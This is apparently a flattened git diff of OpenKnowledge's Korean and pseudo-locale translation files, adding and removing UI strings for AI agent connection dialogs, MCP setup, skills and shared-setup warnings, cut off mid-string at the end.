src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "이 폴더는 {alsoAffects}의 폴더이기도 합니다."+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "이 폴더는 비어 있습니다."@@ -13793,6 +13990,7 @@ msgstr "이 항목"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "드라이브 루트처럼 보입니다(예: Windows 드라이브 루트). 여기서 뼈대를 만들면 드라이브 전체를 검사합니다."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13818,6 +14016,10 @@ msgstr "이 규칙은 열린 문서만이 아니라 파일을 확인해야 하msgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "이 스킬은 AI 도구가 OpenKnowledge와 함께 작동하는 방법을 가르칩니다. 프로젝트 폴더에 있으므로 프로젝트를 여는 모든 사람에게 설치됩니다."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "이 옵션은 자동으로 변경할 수 없습니다."+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "이 팩은 여기에서 이미 설정되어 있습니다."@@ -13873,6 +14075,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "{path}이 영구적으로 삭제됩니다. 이 템플릿을 이름으로 참조하는 에이전트는 템플릿을 다시 만들거나 상위 폴더의 템플릿으로 교체할 때까지 실패합니다."#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13921,11 +14124,6 @@ msgstr "이 프로젝트에서 실행 중인 서버는 실시간 편집을 지msgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "이 프로젝트의 서버(v{0})가 이 앱(v{1})보다 최신입니다."-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "이 프로젝트의 스킬이 스킬 스튜디오로 이동했습니다."-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "이 작업은 Mac과 아래에서 선택한 프로젝트에서 OpenKnowledge의 설정과 통합을 제거하지만, markdown 콘텐츠와 직접 작성한 스킬은 유지합니다."@@ -13963,6 +14161,18 @@ msgstr "이 설정은 컴퓨터별로 적용되며 공동 작업자와 공유되msgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "이 설정은 컴퓨터별로 적용되며 공동 작업자와 공유되지 않습니다. 엔드포인트가 키를 요구하지 않는 로컬 서버가 아니면 API 키(아래에서 설정)가 필요합니다."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "이 설정은 <0>{path}</0>을(를) 통해 {peers}와(과) 공유됩니다. 여기서 제거하면 {peers}에서도 제거됩니다."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "이 설정은 {peers}과(와) 공유되며 OpenKnowledge가 여기서 변경할 수 없습니다. 먼저 Skills Studio에서 폴더 연결을 해제하세요."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "이 설정은 {peers}와(과) 공유됩니다. 여기서 제거하면 {peers}에서도 제거됩니다."+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "이 소스에는 여러 스킬이 들어 있습니다. 하나를 선택한 후 가져오기를 누르세요."@@ -14283,7 +14493,6 @@ msgid "Type to find a doc"msgstr "문서를 찾으려면 입력"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "이 플랫폼에서 사용 불가"@@ -14917,8 +15126,7 @@ msgstr "AI 작업 내용? (선택 사항)"msgid "What the agent may read, write, and surface."msgstr "에이전트가 읽고, 쓰고, 표시할 수 있는 항목입니다."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "이 체크박스의 변경 내용"@@ -14994,6 +15202,10 @@ msgstr "에이전트가 사용자의 컨텍스트를 가질 수 있도록 사용msgid "Whole word"msgstr "전체 단어"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "주의가 필요한 이유"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "위키 링크"@@ -15031,6 +15243,10 @@ msgstr "창"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "연결된 AI 도구가 없으면 팩의 {packSkillCount, plural, one {스킬 #개} other {스킬 #개}}는 설치되지 않습니다."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "스킬이 없어도 에이전트는 계속 작동하지만, 편집 내역의 작성자 정보와 실시간 미리보기를 잃게 됩니다."+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "자동 줄바꿈"@@ -15078,6 +15294,11 @@ msgstr "워크트리"msgid "Wrap long lines in the markdown source editor."msgstr "Markdown 소스 편집기에서 긴 줄을 자동으로 줄바꿈합니다."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "{agent}이(가) 이 프로젝트에서 불러와 OpenKnowledge에 연결하는 작은 브리지 파일을 작성합니다."+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "다음에 항목을 씁니다"@@ -15086,6 +15307,10 @@ msgstr "다음에 항목을 씁니다"msgid "writing"msgstr "작성 중"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "이 파일을 쓰지 못했습니다. 이유는 OpenKnowledge 로그를 확인하세요."+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "Open Knowledge 확장을 기록했지만 폴더를 신뢰할 수 있는 폴더로 표시하지 못해 로드되지 않습니다. 이 스레드에는 Open Knowledge 도구가 없습니다."@@ -15233,6 +15458,10 @@ msgstr "브랜치 <0>{shareBranch}</0> 사본에 GitHub에 없는 변경 사항msgid "Your current version is saved first, so this is reversible."msgstr "현재 버전이 먼저 저장되므로 되돌릴 수 있습니다."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "문서는 변경되지 않습니다."+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/pseudo/messages.json b/packages/app/src/locales/pseudo/messages.jsonindex 283286656..6af911aed 100644--- a/packages/app/src/locales/pseudo/messages.json+++ b/packages/app/src/locales/pseudo/messages.json@@ -63,7 +63,6 @@"03wKPg": ["À ŕēƥōŕţ ĥēĺƥś ũś ƒĩńď ţĥē ćàũśē. Ńōţĥĩńĝ ĩś śēńţ ũńţĩĺ ŷōũ ŕēvĩēŵ ĩţ."],"04JR6L": ["Ćōńńēćţ ŷōũŕ ÀĨ ţōōĺś"],"04RA0-": ["Ƒàĩĺēď ţō ēńàƀĺē śŷńć — ", ["detail"]],- "04XyCH": ["Àďďś à ḿàńàĝēď ƀĺōćķ ţō ", ["0"]],"05F1GY": ["Ţĥē ōŕĩĝĩńàĺ ţēxţ ŵàś ďēĺēţēď. Ŷōũ ćàń ŕē-ƥĺàćē ţĥĩś ćōḿḿēńţ ōń śēĺēćţēď ţēxţ."],"05n5wS": ["Ďōć ḿēńţĩōń śũĝĝēśţĩōńś"],"06SZfb": ["Ţēḿƥĺàţē \"", ["trimmedTitle"], "\" ćŕēàţēď"],@@ -156,6 +155,7 @@"1DahsC": ["Śēàŕćĥ śēţţĩńĝś"],"1EcCom": [["keyName"], " vàĺũē"],"1FLarN": ["Ďēśćŕĩƀē ŵĥàţ ŷōũ ŵàńţ ţō ćŕēàţē ţō ćōńţĩńũē"],+ "1FXL-O": ["Ţĥĩś ćōũĺď ńōţ ƀē śēţ ũƥ ƀēćàũśē ţĥē ḾĆƤ śēŕvēŕ ēńţŕŷ ĩţ ńēēďś ŵàś ńōţ ŵŕĩţţēń."],"1GhYxC": ["ōƒ ", ["totalPages"]],"1HBhDS": ["Ćĥēćķĩńĝ ōũţ ƒĩĺēś"],"1J0c0X": ["Śţĩĺĺ ćōũĺďń'ţ ŕēàćĥ ", ["displayName"], " — ţŕŷ ōńē ḿōŕē ţĩḿē?"],@@ -233,11 +233,17 @@"2YOwme": ["Ŕēśţàŕţēď — ńōŵ ŕũńńĩńĝ v", ["appRuntime"], "."],"2YZwPB": ["Ƒōŕŵàŕď-ĺĩńķś ŕēśƥōńśē ďĩď ńōţ ḿàţćĥ ēxƥēćţēď śĥàƥē."],"2Yt22K": ["Ĥĩďē ōŕĩĝĩńàĺ"],+ "2gXnCO": ["Ĝĺōƀàĺ ḾĆƤ śēŕvēŕ"],"2hYmUH": ["ḿŷ@ēḿàĩĺ.ćōḿ"],"2hpdRq": ["Ĥĩďē ƥàńēĺ (", ["panelShortcutLabel"], ")"],"2j1kfc": ["Ēńţēŕ à vàĺĩď ŨŔĹ (ƒōŕ ēxàḿƥĺē ĥţţƥś://àƥĩ.ōƥēńàĩ.ćōḿ/v1)."],"2jUGEP": ["Ćōũńţ śķĩĺĺ ĩńśţàĺĺś ƥũƀĺĩćĺŷ"],"2l293S": ["Ŷōũ ćàń ŕēśţōŕē ţĥĩś ƒĩĺē ƒŕōḿ ţĥē Ŕēćŷćĺē ßĩń."],+ "2lJAvH": [+ "Ţĥē ţēŕḿĩńàĺ àńď ďēśķţōƥ ŕōŵś ƒōŕ ",+ ["label"],+ " śĥàŕē ōńē śēţũƥ, śō ŕēḿōvĩńĝ ĩţ ďĩśćōńńēćţś ƀōţĥ."+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["Ŵē'vē ƒĩĺēď ĩţ ŵĩţĥ ţĥē ţēàḿ àńď àţţàćĥēď ŷōũŕ ĺōĝś."],"2n3oDU": [@@ -327,6 +333,9 @@"3l_cXP": ["Ţàķē à ĺōōķ ĩƒ ŷōũ'ď ĺĩķē. Ţĥĩś ēxàćţ ƒĩĺē ĩś ŵĥàţ ŵē ŕēćēĩvē."],"3m2GBo": ["Śēàŕćĥĩńĝ ďōćś"],"3mFsc3": ["Ŕēśţōŕē ŵĩţĥ ŕēḿōţē ćĥàńĝēś"],+ "3n7lnE": [+ "Ţĥĩś àĝēńţ ĥàś ńō ƒĩĺē ōƒ ţĥĩś ķĩńď ōń ţĥĩś ḿàćĥĩńē ŷēţ. Ōƥēń ţĥē àĝēńţ ōńćē, ţĥēń ćĥēćķ àĝàĩń."+ ],"3nICSW": ["Àďďś àń ŌƥēńĶńōŵĺēďĝē ḾĆƤ ēńţŕŷ àńď ţĥē ƥŕōĴēćţ śķĩĺĺ ţō <0>",["toolList"],@@ -355,6 +364,13 @@"49Mb7P": ["Ŵē ćōũĺďń'ţ ćĥēćķ ŵĥēţĥēŕ Śĺĩďēv ĩś ĩńśţàĺĺēď. Ŕēţũŕń ţō ţĥĩś ŵĩńďōŵ ţō ŕēţŕŷ."],"4A3Yzu": ["Ćōďē ƀĺōćķ"],"4BITzH": ["Ēŕŕōŕ:"],+ "4C2RCg": [+ "Ţĥĩś śēţũƥ ĩś śĥàŕēď ŵĩţĥ ",+ ["peers"],+ ". Ŕēḿōvĩńĝ ĩţ ĥēŕē ŕēḿōvēś ĩţ ƒōŕ ",+ ["peers"],+ " ţōō."+ ],"4CfgPM": ["ƤŕōĴēćţ ƒōĺďēŕ ćŕēàţēď, ƀũţ ĝĩţ ĩńĩţ ƒàĩĺēď. Ţŕŷ àĝàĩń."],"4E9jPa": ["Ćŕēàţē ŷōũŕ ƒĩŕśţ ƥŕōĴēćţ"],"4EZrJN": ["Ŕũĺēś"],@@ -389,6 +405,7 @@"4niEzY": ["Śàńďƀōxēď ĤŢḾĹ ēḿƀēď — ŵŕĩţē ĤŢḾĹ, śēē ţĥē ŕēńďēŕēď ƥŕēvĩēŵ ĺĩvē."],"4nj6n8": ["/àƥĩ/ćōńƒĩĝ ŕēţũŕńēď ĤŢŢƤ ", ["code"]],"4pDZ2N": ["Ŕēḿōvēď \"", ["0"], "\" ƒŕōḿ ēvēŕŷ ōţĥēŕ ĺōćàţĩōń — ĩţś śōũŕćē ƒōĺďēŕ śţĩĺĺ ĺōàďś"],+ "4sE6E9": ["Ćōũĺďń'ţ ćĥēćķ ŵĥĩćĥ ţōōĺś àŕē ćōńńēćţēď."],"4sKwf6": ["Ƒĩĺē àĺŕēàďŷ ēxĩśţś"],"4sUdTJ": ["ţĥēḿēď ƥŕēvĩēŵ"],"4uNLmk": ["Ƥũĺĺĩńĝ"],@@ -411,6 +428,7 @@"5Ajb15": ["Ţĥē ƒōŕḿũĺà <0>ć = √(ಠ+ ƀ²)</0> ŕēńďēŕś ĩńĺĩńē."],"5AzM72": ["Ţĥĩś śēţţĩńĝ ĩś ƥēŕ-ḿàćĥĩńē àńď ĩśń'ţ śĥàŕēď ŵĩţĥ ćōĺĺàƀōŕàţōŕś."],"5BlXTD": ["Ćōũĺďń'ţ ĺōàď ţĥē vēŕśĩōń ƥŕēvĩēŵ. Ŷōũ ćàń śţĩĺĺ ćĥōōśē ĥōŵ ţō ŕēśōĺvē ĩţ ƀēĺōŵ."],+ "5CHuXn": [["0"], " ńēēďś ", ["1"], ". Ţũŕń ƀōţĥ ōƒƒ, ōŕ ķēēƥ ƀōţĥ ōń."],"5ClEAu": ["Ĩńĺĩńē ĥàśĥţàĝ ƒōŕ ćŕōśś-ďōć ĝŕōũƥĩńĝ."],"5D3Ior": ["Ĥĩďē ƒōĺďēŕ"],"5F5HYj": [["ahead"], " àĥēàď, ", ["behind"], " ƀēĥĩńď"],@@ -429,6 +447,9 @@"5OqaJi": ["Ēńţēŕ à ƥŕōĴēćţ ńàḿē"],"5PHgV2": ["Ŷōũ ćàń àĺśō ćŕēàţē ōńē ƒŕōḿ à ţēŕḿĩńàĺ ŵĩţĥ <0>ōķ ƀũĝ-ŕēƥōŕţ</0>."],"5QGTaA": ["Ćōũĺď ńōţ ćōƥŷ ŕēĺàţĩvē ƥàţĥ"],+ "5RiC8D": [+ "Ďĩśćōvēŕŷ śķĩĺĺś àŕē ḿàńàĝēď ƒōŕ àĺĺ ÀĨ ţōōĺś ţōĝēţĥēŕ. Ĩńśţàĺĺ ţĥĩś ōńē ƒŕōḿ Śēţţĩńĝś → Śķĩĺĺś Śţũďĩō."+ ],"5SwVv1": ["Ńōţ ĩńśţàĺĺēď"],"5Szq6N": ["Ţĥĩś ēńďƥōĩńţ ĩĝńōŕēď ţĥē vēćţōŕ śĩźē ŷōũ ćōńƒĩĝũŕēď. Ŕēḿōvē <0>śēàŕćĥ.śēḿàńţĩć.ďĩḿēńśĩōńś</0> ţō ũśē ţĥē ḿōďēĺ'ś ōŵń śĩźē."@@ -586,6 +607,12 @@"7IsvrP": ["Ćĥēćķĩńĝ ƒōŕ ũƥďàţēś"],"7JtSLi": ["Ƒàĩĺēď ţō ďēĺēţē ƥàţĥ"],"7MSbAT": ["Àvàĩĺàƀĺē ĩń"],+ "7Ny8bV": [+ ["dependent"],+ " ńēēďś ",+ ["prerequisite"],+ ", àńď ŌƥēńĶńōŵĺēďĝē ćōũĺď ńōţ ƒĩńď ţĥĩś àĝēńţ ōń ţĥĩś ḿàćĥĩńē."+ ],"7O7REc": ["Ćōũĺďń’ţ ŕēśţōŕē ", ["0"], ". Ţŕŷ àĝàĩń."],"7OhaRy": ["Śōũŕćē śēàŕćĥ"],"7Ongq0": ["Ćōńďēńśē ḿŷ ÀĜĒŃŢŚ.ḿď ƒĩĺē ţō ĺēśś ţĥàń 40ķ ćĥàŕàćţēŕś"],@@ -713,6 +740,7 @@"8uGMP8": ["Ĥĩďďēń ćōńţēńţ ĝōēś ĥēŕē."],"8vCZcs": ["Ƒàĩĺēď ţō ōƥēń ƒĩĺē."],"8vETh9": ["Śĥōŵ"],+ "8wwkVu": ["Ţĥĩś ēńţŕŷ ćĥàńĝēď àƒţēŕ ŌƥēńĶńōŵĺēďĝē ŵŕōţē ĩţ. Ţũŕńĩńĝ ĩţ ōń ŕēƥĺàćēś ĩţ."],"8x6zk9": ["Ĥĩďē ", ["0"], " ēďĩţōŕ"],"9-lMCF": [["slot"], " ćōĺōŕ — ", ["0"]],"90-wKT": ["ŌƥēńĶńōŵĺēďĝē ŕēàď ţĥē ĥĩśţōŕŷ ōƒ ", ["subject"]],@@ -842,7 +870,6 @@"AYoYhU": ["Ũƥďàţē ƒàĩĺēď: ", ["0"]],"AaC-CE": ["Ēḿƥţŷ ƀōàŕď"],"AcK_r0": ["Ćĺàũďē ĆĹĨ"],- "AczYxH": ["Ćũśţōḿ ōƥēń-ķńōŵĺēďĝē ēńţŕŷ — ńōţ ḿàńàĝēď ƀŷ ŌƥēńĶńōŵĺēďĝē"],"AdcGcG": ["Àƥƥĺŷĩńĝ ŷōũŕ ćĥàńĝē"],"AddR83": ["Ćōũĺď ńōţ ćŕēàţē ƥŕōĴēćţ. Ţŕŷ àĝàĩń ōŕ ƥĩćķ à ďĩƒƒēŕēńţ ĺōćàţĩōń."],"AeHuzT": ["# Ōńē ƥàţţēŕń ƥēŕ ĺĩńē.\n# Ēxàḿƥĺēś:\n# ďŕàƒţś/\n# *.ďŕàƒţ.ḿď\n# !ķēēƥ.ḿď"],@@ -867,6 +894,7 @@"AkA6DO": ["Ƥàŕţ ōƒ ţĥē ", ["0"], " ƥĺũĝĩń — ŕēàď-ōńĺŷ; ōƥēń ĩţ ţō ēďĩţ à ćōƥŷ"],"Al8HPP": ["Àććēƥţ ćũŕŕēńţ vēŕśĩōń ƒōŕ ćōńƒĺĩćţ ", ["0"]],"Am78jY": ["Ďŕàĝ ", ["keyName"], " ţō ŕēōŕďēŕ"],+ "ApNWRQ": ["Ŕēḿōvē ŌƥēńĶńōŵĺēďĝē ƒŕōḿ ", ["0"], "?"],"ApeA0n": ["Ũńďĩď ", ["dropCount"], " ēďĩţś ōń ", ["docName"]],"Aq-O0x": ["śţàţũś"],"AqnqMJ": ["ÀƤĨ ķēŷ śēţ"],@@ -908,6 +936,9 @@"BGtzlf": [["uploadFolderName"], " — 1 ƒĩĺē"],"BH56dn": ["Ćũśţōḿ ďĩśƥĺàŷ ţēxţ"],"BKI4hX": ["Ƒĩńď ĩń ƒĩĺē"],+ "BMoSQy": [+ "Ţĥĩś àĝēńţ ĝĩvēś ŌƥēńĶńōŵĺēďĝē ńō ŵàŷ ţō śēţ ţĥĩś ũƥ ƒōŕ ŷōũ. Ĩţś śēţũƥ ĝũĩďē ĥàś ţĥē ḿàńũàĺ śţēƥś."+ ],"BOsvJ8": ["<0>ōķ</0> ŵōń'ţ ŕũń ĩń ēxţēŕńàĺ ţēŕḿĩńàĺś ũńţĩĺ ŷōũ àďď ĩţ ĺàţēŕ ƒŕōḿ ţĥē Ƒĩĺē ḿēńũ. Ŷōũŕ ÀĨ ţōōĺś ķēēƥ ŵōŕķĩńĝ."],@@ -979,11 +1010,7 @@"CU3AiE": ["Śŵĩţćĥĩńĝ ƀŕàńćĥēś"],"CUmCwI": ["Ĩńśēŕţ ŕōŵ ƀēĺōŵ"],"CWjM1r": ["ďōćś ďĩŕēćţĺŷ ĩń ", ["0"], "/"],- "CWzc2T": [- "<0>~/.ōķ/ƀĩń</0> àńď <1>~/.ōķ/ēńv.śĥ</1> śţàŷ ēĩţĥēŕ ŵàŷ — ţĥē àƥƥ àĺŵàŷś ḿàĩńţàĩńś ţĥēḿ."- ],"CXDYfm": ["Ćōũĺďń'ţ ŕēàď ŵĥēţĥēŕ ţĥĩś ƥŕōĴēćţ'ś śķĩĺĺ ĩś ĩńśţàĺĺēď."],- "CXTwen": ["Ćàń'ţ śàƒēĺŷ ēďĩţ ţĥĩś ƥŕōĴēćţ ćōńƒĩĝ"],"CXcveY": ["Ōƥēń Ķńōŵĺēďĝē ḿàĩńţàĩńś à ńàvĩĝàţĩōń ƒĩĺē ńàḿēď ĩńďēx.ḿď ĩń ēvēŕŷ ƒōĺďēŕ ţĥàţ ćōńţàĩńś Ḿàŕķďōŵń, ēàćĥ ĺĩśţĩńĝ ţĥàţ ƒōĺďēŕ'ś ďōćũḿēńţś ƀŷ ţŷƥē àńď ĺĩńķĩńĝ ţō ĩţś śũƀƒōĺďēŕś. Ĩţ ŕēŵŕĩţēś ţĥēśē ƒĩĺēś àś ŷōũŕ ďōćũḿēńţś ćĥàńĝē, àńď àńŷţĥĩńĝ ŷōũ ēďĩţ ĩńţō ţĥēḿ ŷōũŕśēĺƒ ĩś ŕēƥĺàćēď."],@@ -1015,14 +1042,17 @@"Ĩń Ĝĩţ ƥŕōĴēćţś, Ōƥēń Ķńōŵĺēďĝē àďďś à śćōƥēď ŕũĺē ţō ţĥē ŕēƥōśĩţōŕŷ-ŕōōţ .ĝĩţàţţŕĩƀũţēś ƒĩĺē śō ćōńćũŕŕēńţ ĩńďēx ćĥàńĝēś ćōḿƀĩńē."],"CxVk-w": ["Ćōḿḿēńţ ōń ", ["address"]],+ "CxnZP4": ["Ćĥōōśē ŵĥàţ ŌƥēńĶńōŵĺēďĝē śēţś ũƥ."],"Cz-K13": ["15 ḿĩńũţēś"],"D-NlUC": ["Śŷśţēḿ"],- "D-Oh1s": ["Ĥōŵ ţō śēţ ũƥ ", ["0"], " (ōƥēńś ĩń ƀŕōŵśēŕ)"],"D-_B7l": ["Ćōńńēćţēď — ţĥĩś ēńďƥōĩńţ ŕēţũŕńś ", ["0"], "-ďĩḿēńśĩōń vēćţōŕś."],"D0CegO": ["À śēćōńď śķĩĺĺ ŵĩţĥ ţĥĩś ńàḿē — ŕēńàḿē ĩţ (ōŕ ďēĺēţē ōńē) ţō ḿàńàĝē ĩţ ƒũĺĺŷ."],"D12vtS": ["(ďēţàćĥēď)"],"D2emTw": ["Śōḿēţĥĩńĝ ŵēńţ ŵŕōńĝ śēńďĩńĝ ŷōũŕ ƒēēďƀàćķ. Ƥĺēàśē ţŕŷ àĝàĩń."],"D4H2N6": ["Ŕēḿōvē ", ["tag"]],+ "D4I0F9": [+ "Ćĥōōśē ŵĥĩćĥ àĝēńţś àƥƥēàŕ ĩń àĝēńţ ḿēńũś àćŕōśś ţĥē àƥƥ, àńď śēţ ţĥēḿ ũƥ ţō ŕēàď àńď ũƥďàţē ŷōũŕ ďōćũḿēńţś."+ ],"D7gKrd": ["ŌƥēńĶńōŵĺēďĝē ćōũĺďń'ţ ŵŕĩţē ĺàũńćĥ śēţţĩńĝś ũńďēŕ .ōķ/ĺōćàĺ/ţēŕḿĩńàĺ ƀēćàũśē ţĥē ƒōĺďēŕ ĩś ńōţ śàƒēĺŷ ćōńţàĩńēď ĩń ţĥĩś ƥŕōĴēćţ. Ćĥēćķ ţĥàţ ĩţ ĩś à ŕēàĺ ƒōĺďēŕ ĩńśĩďē ţĥē ƥŕōĴēćţ, ńōţ à ĺĩńķ. Ćĺàũďē ŵĩĺĺ àśķ ŷōũ ţō àƥƥŕōvē ŌƥēńĶńōŵĺēďĝē."],@@ -1106,6 +1136,7 @@"E1_c72": ["Ţàśķ ĺĩśţ"],"E1tG2u": ["Ĝēţ Ćĺàũďē Ćōďē"],"E2Mv-X": ["Ćōƥŷ śōũŕćē"],+ "E35Meh": ["Ŕēḿōvē ", ["rowLabel"]],"E4XYYH": ["Ēńàƀĺē ţēŕḿĩńàĺ ƒōŕ ţĥĩś ƥŕōĴēćţ"],"E5WeIy": ["Ŕēōƥēń ţĥē ḿōśţ ŕēćēńţĺŷ ćĺōśēď ēďĩţōŕ ţàƀ."],"E6lrpp": [@@ -1115,7 +1146,9 @@"E91VZY": ["Ōƥēń ĩń Ńēŵ Ŵĩńďōŵ"],"E9bKSA": ["Ćŕēàţĩńĝ"],"E9gh86": ["Ŷōũ ćàń àţţàćĥ ũƥ ţō ", ["MAX_ATTACHMENTS"], " ĩḿàĝēś."],+ "EBP_hA": ["Àďďś àń ŌƥēńĶńōŵĺēďĝē ḾĆƤ ēńţŕŷ ţō ţĥĩś ƥŕōĴēćţ'ś àĝēńţ ćōńƒĩĝ."],"EBVbtP": ["Ćōũĺď ńōţ ďũƥĺĩćàţē ĩţēḿ"],+ "EDD3UL": ["Ńōţ ďēţēćţēď ōń ţĥĩś ḿàćĥĩńē"],"EDl9kS": ["Śũƀśćŕĩƀē"],"EDm3wJ": ["Ĺōàďĩńĝ ďĩƒƒ ŕēńďēŕēŕ"],"EEYbdt": ["Ƥũƀĺĩśĥ"],@@ -1203,6 +1236,7 @@"EvPX7f": ["Ōƥēńś à ƒōĺďēŕ ƥĩćķēŕ ţō ćĥōōśē ŵĥēŕē ţō ćĺōńē ţĥē ŕēƥōśĩţōŕŷ."],"EvXKHE": ["ŌƥēńĶńōŵĺēďĝē śēàŕćĥēď ţĥē ķńōŵĺēďĝē ƀàśē"],"Evq3lu": ["Ōŕƥĥàń ḿōďē"],+ "Evsh6U": ["Ŷōũŕ ďōćũḿēńţś àŕē ńōţ ţōũćĥēď."],"ExPiRQ": ["Ḿōvē ţō ţĥē ńēxţ ĆōďēḾĩŕŕōŕ ĺĩńţ ďĩàĝńōśţĩć."],"ExUzM4": ["śķĩĺĺ \"", ["0"], "\""],"F-1xhe": [@@ -1236,7 +1270,6 @@"FEqWFL": ["Ĝũĩďēś ŷōũŕ ÀĨ àĝēńţś ōń ĥōŵ ţō ŵōŕķ ĥēŕē."],"FEr96N": ["Ţĥēḿē"],"FF7V5K": ["Àćţũàĺ Śĩźē"],- "FK57sK": ["ŕēƥàĩŕēď ", ["names"], " ḾĆƤ ĩńţēĝŕàţĩōń"],"FKVmcC": ["Śēţţĩńĝś ƒōŕ ţĥĩś ƥŕōĴēćţ. Śōḿē àŕē śĥàŕēď ŵĩţĥ ēvēŕŷ ćōĺĺàƀōŕàţōŕ ţĥŕōũĝĥ ĝĩţ; ōţĥēŕś àƥƥĺŷ ōńĺŷ ōń ţĥĩś ćōḿƥũţēŕ."],@@ -1329,6 +1362,12 @@"Àńŷ .ḿďx ƒĩĺē. Ţĥē ƒōŕḿàţ ĩś .ḿď-ōńĺŷ, śō à ŕēàďēŕ śćàńńĩńĝ ƒōŕ .ḿď ńēvēŕ ōƥēńś ĩţ — àńď ĩƒ à .ḿď ōƒ ţĥē śàḿē ńàḿē ēxĩśţś, ŕēàďś ţĥàţ ōńē ĩńśţēàď."],"GSYWCm": ["Ĥĩďē ďōćũḿēńţ ƥàńēĺ"],+ "GTvYzA": [+ ["dependent"],+ " ńēēďś ",+ ["prerequisite"],+ ", ŵĥĩćĥ ŌƥēńĶńōŵĺēďĝē ćàńńōţ śēţ ũƥ ƒōŕ ŷōũ. Ĩţś śēţũƥ ĝũĩďē ĥàś ţĥē ḿàńũàĺ śţēƥś."+ ],"GU1Y4A": ["Ĺōćàĺ-ōńĺŷ ŕēǫũēśţēď ƀũţ ńō ĝĩţ ŕēƥōśĩţōŕŷ ŵàś ćŕēàţēď. Śŵĩţćĥ ĺàţēŕ vĩà Śēţţĩńĝś → Śŷńć & śĥàŕĩńĝ ōńćē ţĥē ƥŕōĴēćţ ĩś ĩń à ĝĩţ ŕēƥō."],@@ -1394,6 +1433,11 @@],"H86f9p": ["Ćōĺĺàƥśē"],"H8DVOJ": ["Ĩďēńţĩćàĺ ĩń ƀōţĥ — ", ["pick"], " śţĩĺĺ ŕēàďś ţĥēḿ."],+ "H8tj8y": [+ "Ţĥĩś śēţũƥ ĩś śĥàŕēď ŵĩţĥ ",+ ["peers"],+ ", àńď ŌƥēńĶńōŵĺēďĝē ćàńńōţ ćĥàńĝē ĩţ ƒŕōḿ ĥēŕē. Ũńĺĩńķ ţĥē ƒōĺďēŕ ĩń Śķĩĺĺś Śţũďĩō ƒĩŕśţ."+ ],"HAkEqR": ["Ŕēćēńţ ƒĩĺēś"],"HAvHev": ["Àũţō-ũƥďàţē ōƒƒ ƒōŕ \"", ["name"], "\""],"HAvRAI": [["skillCount", "plural", { "one": ["śķĩĺĺ"], "other": ["śķĩĺĺś"] }]],@@ -1408,7 +1452,6 @@"Śĺĩďēv ĩśń'ţ ĩńśţàĺĺēď, śō ţĥē Śĺĩďēv àćţĩōń śţàŷś ĥĩďďēń. Ĩńśţàĺĺ ĩţ, ţĥēń ŕēţũŕń ţō ţĥĩś ŵĩńďōŵ."],"HSI88F": ["Ďēĺēţē ţàƀĺē"],- "HTW0Zw": ["Ōńē ḿōŕē śţēƥ: ŕũń <0>ćĺàũďē</0> ĩń ţĥĩś ƥŕōĴēćţ àńď àƥƥŕōvē ŌƥēńĶńōŵĺēďĝē ōńćē."],"HZ7fEu": ["Ţĥēḿē ńàḿē"],"HbcQYf": ["Ŕēƥĺàćē ţĥē śŷḿĺĩńķ àţ ",@@ -1596,6 +1639,7 @@"KPW5WC": ["ḿōvēď ţēḿƥĺàţē"],"KQGZuq": ["Ŕēũśēď ĩƒ ĩţ àĺŕēàďŷ ēxĩśţś, ćŕēàţēď ĩƒ ńōţ."],"KRJ6xh": ["Ńō ţàĝś ŷēţ. Ćōńţĩńũē 